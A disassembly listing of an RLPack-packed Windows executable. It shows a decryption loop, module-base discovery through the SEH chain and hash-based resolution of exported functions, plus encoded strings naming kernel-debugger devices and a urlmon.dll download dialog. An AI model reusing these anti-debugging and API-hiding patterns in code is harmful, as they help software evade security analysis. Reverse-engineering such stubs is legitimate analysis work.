; =============== S U B	R O U T	I N E =======================================



sub_522A5D	proc near		; CODE XREF: start+A9p
		pusha
		lea	eax, [ebp-6]
		mov	ecx, 319h
		xor	ebx, ebx
		cdq
		jmp	short loc_522A74
; ---------------------------------------------------------------------------

loc_522A6B:				; CODE XREF: sub_522A5D+1Aj
		mov	dl, [eax]
		rol	ebx, 7
		xor	bl, dl
		inc	eax
		dec	ecx

loc_522A74:				; CODE XREF: sub_522A5D+Cj
		cmp	ecx, 0
		ja	short loc_522A6B
		lea	eax, [esi+4]
		mov	ecx, [esi]
		jmp	short loc_522A87
; ---------------------------------------------------------------------------

loc_522A80:				; CODE XREF: sub_522A5D+2Dj
		xor	[eax], bl
		rol	ebx, 3
		inc	eax
		dec	ecx

loc_522A87:				; CODE XREF: sub_522A5D+21j
		cmp	ecx, 0
		ja	short loc_522A80
		popa
		retn
sub_522A5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_522A8E	proc near		; CODE XREF: .RLPack:00521D89p
					; .RLPack:00521E24p ...

var_4		= dword	ptr -4

		pusha
		xor	edx, edx
		mov	esi, fs:[edx]

loc_522A94:				; CODE XREF: sub_522A8E+Ej
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_522A9E
		mov	esi, eax
		jmp	short loc_522A94
; ---------------------------------------------------------------------------

loc_522A9E:				; CODE XREF: sub_522A8E+Aj
		mov	edi, [esi+4]
		and	edi, 0FFFF0000h

loc_522AA7:				; CODE XREF: sub_522A8E+26j
					; sub_522A8E+34j
		cmp	word ptr [edi],	5A4Dh
		jz	short loc_522AB6
		sub	edi, 10000h
		jmp	short loc_522AA7
; ---------------------------------------------------------------------------

loc_522AB6:				; CODE XREF: sub_522A8E+1Ej
		mov	ebx, edi
		add	ebx, [ebx+3Ch]
		cmp	word ptr [ebx],	4550h
		jz	short loc_522AC4
		jmp	short loc_522AA7
; ---------------------------------------------------------------------------

loc_522AC4:				; CODE XREF: sub_522A8E+32j
		mov	[esp+20h+var_4], edi
		popa
		retn
sub_522A8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_522ACA	proc near		; CODE XREF: start+4F1p start+510p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebx, [esp+20h+arg_0]
		mov	ecx, ebx
		add	ebx, [ebx+3Ch]
		mov	ebx, [ebx+78h]
		add	ebx, ecx
		mov	edi, [ebx+20h]
		add	edi, ecx
		xor	esi, esi

loc_522AE0:				; CODE XREF: sub_522ACA+34j
		lea	edx, [edi+esi*4]
		mov	edx, [edx]
		add	edx, ecx
		xor	eax, eax

loc_522AE9:				; CODE XREF: sub_522ACA+28j
		rol	eax, 7
		xor	al, [edx]
		inc	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_522AE9
		cmp	eax, [esp+20h+arg_4]
		jz	short loc_522B00
		inc	esi
		cmp	esi, [ebx+18h]
		jb	short loc_522AE0

loc_522B00:				; CODE XREF: sub_522ACA+2Ej
		mov	edx, [ebx+24h]
		add	edx, ecx
		movzx	edx, word ptr [edx+esi*2]
		mov	eax, [ebx+1Ch]
		add	eax, ecx
		mov	eax, [eax+edx*4]
		add	eax, ecx
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_522ACA	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 4000h, 2 dup(0)
		db 3 dup(0)
byte_522B2F	db 0			; DATA XREF: .RLPack:00521D5Do
		dd 2 dup(0)
		dd 9E000000h, 2	dup(0)
		dd 0E8000000h, 14774393h, 6B08F8F1h, 0F1487FE1h, 0D5AEF7CBh
		dd 19723EB0h, 0D95902Bh, 9CABBC68h, 9BF7896h, 0D7AE52C6h
		dd 75EA3AF0h, 33726573h, 6C642E32h, 7245006Ch, 3A726F72h
		dd 6C694600h, 61642065h, 6567616Dh, 726F2064h, 666E6920h
		dd 65746365h, 79622064h, 72697620h, 217375h, 6C756F43h
		dd 6F6E2064h, 6F6C2074h, 25206461h, 79642073h, 696D616Eh
		dd 696C2063h, 6C206B6Eh, 61726269h, 217972h, 6C756F43h
		dd 6F6E2064h, 69662074h, 2520646Eh, 78652073h, 74726F70h
		dd 736E6920h, 20656469h, 64207325h, 6D616E79h, 6C206369h
		dd 206B6E69h, 7262696Ch, 21797261h, 756F4300h, 6E20646Ch
		dd 6620746Fh, 20646E69h, 6964726Fh, 206C616Eh, 6F707865h
		dd 253A7472h, 20583830h, 69736E69h, 25206564h, 79642073h
		dd 696D616Eh, 696C2063h, 6C206B6Eh, 61726269h, 217972h
		dd 6C707041h, 74616369h, 206E6F69h, 61207369h, 6165726Ch
		dd 72207964h, 696E6E75h, 21676Eh, 6F666E49h, 6157003Ah
		dd 6E696E72h, 50203A67h, 77737361h, 2064726Fh, 20756F79h
		dd 65766168h, 746E6520h, 64657265h, 20736920h, 20746F6Eh
		dd 6C696176h, 44002164h, 6F79206Fh, 61772075h, 7420746Eh
		dd 6163206Fh, 6C65636Eh, 65687420h, 6C696620h, 6F642065h
		dd 6F6C6E77h, 0D3F6461h, 7261570Ah, 676E696Eh, 7041203Ah
		dd 63696C70h, 6F697461h, 6163206Eh, 6F6E206Eh, 75722074h
		dd 6977206Eh, 756F6874h, 656E2074h, 73657373h, 20797261h
		dd 6C6C642Eh, 6C696620h, 217365h, 6C756F43h, 6F6E2064h
		dd 6F642074h, 6F6C6E77h, 6E206461h, 65737365h, 79726173h
		dd 6C642E20h, 6966206Ch, 7328656Ch, 65622029h, 73756163h
		dd 0A0D3A65h, 29310A0Dh, 756F5920h, 65726120h, 746F6E20h
		dd 6E6F6320h, 7463656Eh, 74206465h, 6E69206Fh, 6E726574h
		dd 0A0D7465h, 46202932h, 20656C69h, 206E6163h, 20746F6Eh
		dd 66206562h, 646E756Fh, 206E6F20h, 6F6D6572h, 73206574h
		dd 65767265h, 330A0D72h, 6F592029h, 66207275h, 77657269h
		dd 206C6C61h, 20736168h, 636F6C62h, 2064656Bh, 65636361h
		dd 74207373h, 6E69206Fh, 6E726574h, 0A0D7465h, 69530A0Dh
		dd 2065636Eh, 6C707061h, 74616369h, 206E6F69h, 206E6163h
		dd 20746F6Eh, 206E7572h, 68746977h, 2074756Fh, 7373656Eh
		dd 72617365h, 642E2079h, 66206C6Ch, 73656C69h, 7270202Ch
		dd 6172676Fh, 6977206Dh, 6E206C6Ch, 6320776Fh, 65736F6Ch
		dd 6F440021h, 6F6C6E77h, 64656461h, 6C642E20h, 6966206Ch
		dd 6920656Ch, 6F632073h, 70757272h, 6E612074h, 61632064h
		dd 6F6E206Eh, 65622074h, 616F6C20h, 21646564h, 6C500A0Dh
		dd 65736165h, 73657220h, 74726174h, 69687420h, 70612073h
		dd 6163696Ch, 6E6F6974h, 206F7320h, 20656874h, 656C6966h
		dd 6E616320h, 20656220h, 6E776F64h, 64616F6Ch, 61206465h
		dd 6E696167h, 21h, 0Eh dup(0)
		dd 95FB6A02h, 6D3A8272h, 9C480E24h, 8F8F114h, 27h dup(0)
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh, 5C5C0045h, 45525C2Eh, 53595347h
		dd 2E5C5C00h, 4745525Ch, 475856h, 5C2E5C5Ch, 454C4946h
		dd 475856h, 5C2E5C5Ch, 454C4946h, 5C5C004Dh, 52545C2Eh
		dd 5C5C0057h, 43495C2Eh, 54584545h, 62654400h, 65676775h
		dd 65642072h, 74636574h, 20206465h, 6C70202Dh, 65736165h
		dd 6F6C6320h, 69206573h, 6F642074h, 61206E77h, 7220646Eh
		dd 61747365h, 0D217472h, 6E69570Ah, 73776F64h, 20544E20h
		dd 72657375h, 50203A73h, 7361656Ch, 6F6E2065h, 74206574h
		dd 20746168h, 69766168h, 7420676Eh, 57206568h, 63496E69h
		dd 6F532F65h, 63497466h, 730A0D65h, 69767265h, 69206563h
		dd 6174736Eh, 64656C6Ch, 61656D20h, 7420736Eh, 20746168h
		dd 20756F79h, 20657261h, 6E6E7572h, 20676E69h, 65642061h
		dd 67677562h, 217265h, 0
		dd 6D6C7275h, 642E6E6Fh, 0C1006C6Ch, 0A8D9E6A5h, 0A9CD421h
		dd 0A3C2910h, 469C2910h, 0BFD5FFFCh, 99F23EB1h,	0F0D95D23h
		dd 196FB89Ah, 95902Bh, 4 dup(0)
		dd 1000000h, 3 dup(0)
		dd 80000000h, 78000000h, 123456h, 0
		dd 57000000h, 69536265h, 203A6574h, 44007325h, 6C6E776Fh
		dd 6964616Fh, 203A676Eh, 43007325h, 6C706D6Fh, 64657465h
		dd 6425203Ah, 72657020h, 746E6563h, 6C694600h, 25203A65h
		dd 64252F64h, 406D4500h, 406D6F00h, 2 dup(406D6900h), 406D6F00h
		dd 2 dup(0)
		dd 406D7200h, 2	dup(406D6F00h),	4C200h,	0C20008C2h, 0BE60000Ch
		dd 401000h, 8B0C558Bh, 0FA83105Dh, 83137600h, 0E7600FBh
		dd 0B999C28Bh, 64h, 0F3F7E9F7h,	0C03302EBh, 0C3B9E8Dh
		dd 0D3FF0000h, 14C261h,	80h dup(0)
		dd 2 dup(1), 2,	3, 4, 5, 6, 7, 1, 2, 3,	10CA0840h, 0
		dd 7, 0E00000h,	42h, 440000h, 77006Fh, 6C006Eh,	61006Fh
		dd 64h,	560008h, 720065h, 610064h, 61006Eh, 0FF8B0000h
		dd 50020000h, 0
		dd 40006h, 0C0073h, 0FFFF0001h,	440082h, 77006Fh, 6C006Eh
		dd 61006Fh, 690064h, 67006Eh, 6E0020h, 730065h,	650073h
		dd 610073h, 790072h, 2E0020h, 6C0064h, 20006Ch,	690066h
		dd 65006Ch, 73h, 0FF8B0000h, 50000007h,	0
		dd 0F0005h, 3200D7h, 0FFFF0002h, 440080h, 77006Fh, 6C006Eh
		dd 61006Fh, 200064h, 720070h, 67006Fh, 650072h,	730073h
		dd 20h,	0FF8B0000h, 50020000h, 0
		dd 190017h, 0A00C0h, 0FFFF0003h, 570082h, 620065h, 690053h
		dd 650074h, 3Ah, 0FF8B0000h, 50020000h,	0
		dw 8
		unicode	0, <!>
		dw 0Ah
		dd 0FFFF0004h, 440082h,	77006Fh, 6C006Eh, 61006Fh, 690064h
		dd 67006Eh, 3Ah, 0FF8B0000h, 50020000h,	0
		dd 2A000Eh, 90055h, 0FFFF0005h,	430082h, 6D006Fh, 6C0070h
		dd 740065h, 640065h, 3Ah, 0FF8B0000h, 50020000h, 0
a2e:
		dw 27h
		unicode	0, <2E>
		dw 9
		dd 0FFFF0006h, 460082h,	6C0069h, 3A0065h, 20h, 0FF8B0000h
		dd 50020000h, 0
aA_3:
		unicode	0, </>
		dw 3Ch
		dw 0Eh
		dd 0FFFF0007h, 430080h,	6E0061h, 650063h, 6Ch, 0FF8B0000h
		dd 0
		dd 10CA0840h, 0
		dd 4, 0B40000h,	23h, 500000h, 730061h, 770073h,	72006Fh
		dd 64h,	560008h, 720065h, 610064h, 61006Eh, 0FF8B0000h
		dd 50000007h, 0
		dd 20002h, 1E00B0h, 0FFFF0000h,	450080h, 74006Eh, 720065h
		dd 700020h, 730061h, 770073h, 72006Fh, 64h, 0FF8B0000h
		dd 50020000h, 0
		dd 0E0006h, 0C0024h, 0FFFF0001h, 500082h, 730061h, 770073h
		dd 72006Fh, 3A0064h, 20h, 0FF8B0000h, 508100A0h, 0
aZ_0:
		unicode	0, <)>
		dw 0Dh
		unicode	0, <Z>
		dw 0Ch
		dd 0FFFF0002h, 81h, 0FF8B0000h,	50010000h, 0
		dd 0C0085h, 0E002Ah, 0FFFF0003h, 550080h, 6C006Eh, 63006Fh
		dd 6Bh,	0FF8B0000h, 3 dup(0)
		dd 77E60000h
dword_52366C	dd 320900h		; DATA XREF: .RLPack:00521D4Bo
dword_523670	dd 320000h, 4FD000h, 401000h, 518879h, 43C000h,	519C3Ah
					; DATA XREF: .RLPack:00521D6Fo
		dd 43F000h, 0
		dd 3A8F3h, 401000h, 0
		dd 2588h, 43C000h, 0
		dd 0B5AFDh, 43F000h, 1,	0F4Eh, 4F5000h,	1, 5112h, 4F6000h
		dd 0
		dd 0FFFFFFFFh, 9Eh, 46Dh, 5250074Dh, 1E6C642Eh,	32535700h
		dd 50E7335Fh, 52454B0Bh, 4C534E73h, 0F401060Dh,	0F3A4F54h
		dd 4174654Eh, 6F43C7DFh, 632F1F6Eh, 320E694Ch, 0FC83C3FDh
		dd 0E073331h, 9910F80h,	4474220Ch, 0A891573h, 0D240212h
		dd 0BCB30148h, 636F9041h, 198DDC6Bh, 91091F0Bh,	10220409h
		dd 89170344h, 24121213h, 91064897h, 0D4337034h,	347C852h
		dd 766E456Ch, 0EC3D7269h, 56F6786Dh, 0CCF76179h, 57F46C62h
		dd 18A553E0h, 0A601C2EDh, 1ABC706Dh, 22745398h,	5756676Eh
		dd 4E418A0Fh, 338A4C14h, 0F3495261h, 4531C566h,	46EC4F64h
		dd 1C24D069h, 0CF73551Dh, 0CF5F4472h, 4EF87561h, 0C3F54943h
		dd 6D0F3A7Ah, 0AE737953h, 9E36D465h, 0F64984B3h, 9269F2D8h
		dd 50F9E70Dh, 0B2D267E5h, 3F201310h, 1C52421Dh,	35EE268h
		dd 61686E55h, 6332C26Eh, 0F2637845h, 0D93C4470h, 44729ED7h
		dd 5494606Dh, 0CEA27079h, 0CAC00F34h, 73756C46h, 7895A468h
		dd 0DF667142h, 0C64B285Ch, 99486440h, 1C82A98Ch, 21192B08h
		dd 75EA3316h, 2E3EB9BFh, 73295384h, 77D31757h, 97FAFBCCh
		dd 0D218212Eh, 0D6CD9608h, 614D2CA0h, 0A4727048h, 66B70D2Dh
		dd 504D7F54h, 735E9890h, 0F16C43DEh, 0C377C5DBh, 43E7C6CDh
		dd 97531A74h, 1A354D24h, 0D8103275h, 0ECD1614Eh, 287A5613h
		dd 76928844h, 9BFB6F75h, 433A5328h, 54193CF0h, 0C2640F68h
		dd 287DAE43h, 3E2437ABh, 6E15104Fh, 437F986Dh, 4695F975h
		dd 49847F6Eh, 61FD8C64h, 2E45A6CDh, 8A199CA4h, 44377970h
		dd 0E74F9953h, 62B446B5h, 90849A75h, 0A3E81385h, 22CCC2C8h
		dd 0DB43F157h, 53922A46h, 4F1EC2E8h, 0A5A86A62h, 654DE69Bh
		dd 54137843h, 99F61569h, 1A27A49Eh, 0B81C546Dh,	0DC031D82h
		dd 24365070h, 57B25468h, 4748C376h, 0E699386Eh,	7992DB72h
		dd 6BBD121Ah, 0D329F57Bh, 0BBBFCE25h, 8EB423C8h, 560F44CDh
		dd 97AA2C9Ah, 0C87A768Ah, 0A4C666Ch, 6E9BC0D0h,	535B5920h
		dd 0DB49C366h, 0F3159168h, 25219269h, 2F787ACFh, 0D2F4A341h
		dd 0CCC08870h, 3CC874CAh, 827257F0h, 59DDC62Ah,	58E8B445h
		dd 8252880Ah, 0E76816A1h, 945A0ECAh, 75440DAFh,	0A49B6C70h
		dd 0BC72E322h, 433291BFh, 98EC7069h, 96CD6D59h,	26A18A6Fh
		dd 0B4449AF8h, 65810F1Ch, 0DC55753h, 779CA412h,	3136166Eh
		dd 6CF6E96Bh, 1519D056h, 644834E5h, 937560Fh, 4B278F4h
		dd 47080E2Dh, 2FB6F959h, 2E6F5036h, 0AEE59990h,	0AC731F19h
		dd 0EBFEBF82h, 65E2BF59h, 504D171Dh, 1F48B249h,	6EC323A5h
		dd 0BAC3A45h, 52275332h, 187FD1CBh, 794A7551h, 6608CA50h
		dd 636E42D2h, 0AAD1DBCCh, 0A8D3F418h, 12266571h, 27B28D79h
		dd 487B7037h, 10A270ECh, 6C410922h, 0CA63FE84h,	7475549h
		dd 6560514h, 0D87574CDh, 27424F8Ah, 1F19A29Ah, 3519214Dh
		dd 927C3369h, 31095927h, 3FBB4D59h, 4C766726h, 7AD662A4h
		dd 6BB30C19h, 0A34C0D4Ch, 4C24660Bh, 6525B670h,	4D4F3177h
		dd 0FE530E4Fh, 4A49319Ah, 0D0492267h, 0C47CAF3h, 7093045Ah
		dd 818E4695h, 64E9578Eh, 840F0D0Bh, 59B014D2h, 0A47942C6h
		dd 0A30A5DE1h, 28381F2Ah, 63EABC6Ch, 1ACC6D69h,	0B809640Dh
		dd 6F6B9192h, 6BACBD1Eh, 0CA644440h, 67BE404Ch,	4419C899h
		dd 40A376CAh, 3409ABD2h, 75B404F2h, 48D5A373h, 0B050CDDFh
		dd 344D0E09h, 0A5641AA9h, 0DD2A0012h, 17493A49h, 0A42E7726h
		dd 445A51A2h, 549CCDC0h, 0A423CD40h, 49797E2Fh,	4652D522h
		dd 52318B41h, 0EBCAD7DBh, 46731548h, 224A1516h,	0B549611Eh
		dd 0D6EA6270h, 4560A52h, 6DC42C5Ah, 0AC9C26FAh,	426709B0h
		dd 0A59C6D2Ah, 4F5C341Eh, 453A5937h, 4D9C771Eh,	0F244ADEDh
		dd 411AAF19h, 3B49A721h, 9E49ADEh, 4E4A32F0h, 0A160913Bh
		dd 5A63A40Ch, 0DD28F59h, 9052EC3Dh, 939A6C6Fh, 7AE02608h
		dd 9EB8A4CCh, 25B621F3h, 754D5312h, 570C10B5h, 6C24139Ah
		dd 0D9BBA353h, 2A59472Bh, 1144491Eh, 0B3B89950h, 16404115h
		dd 45324F07h, 0C252134Dh, 5109C294h, 301C4EBBh,	0
		db    0
_RLPack		ends

; Section 3. (virtual address 00124000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00123C00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 524000h
		dd 80h dup(0)
		dd 11h dup(?)
		db 3 dup(?)
byte_524247	db ?			; DATA XREF: .packed:00454B34o
					; .packed:00454B4Co ...
		dd 340h	dup(?)
		db 3 dup(?)
byte_524F4B	db ?			; DATA XREF: .packed:00454BA4o
					; .packed:00454BB4o
		align 100h
_idata2		ends


		end start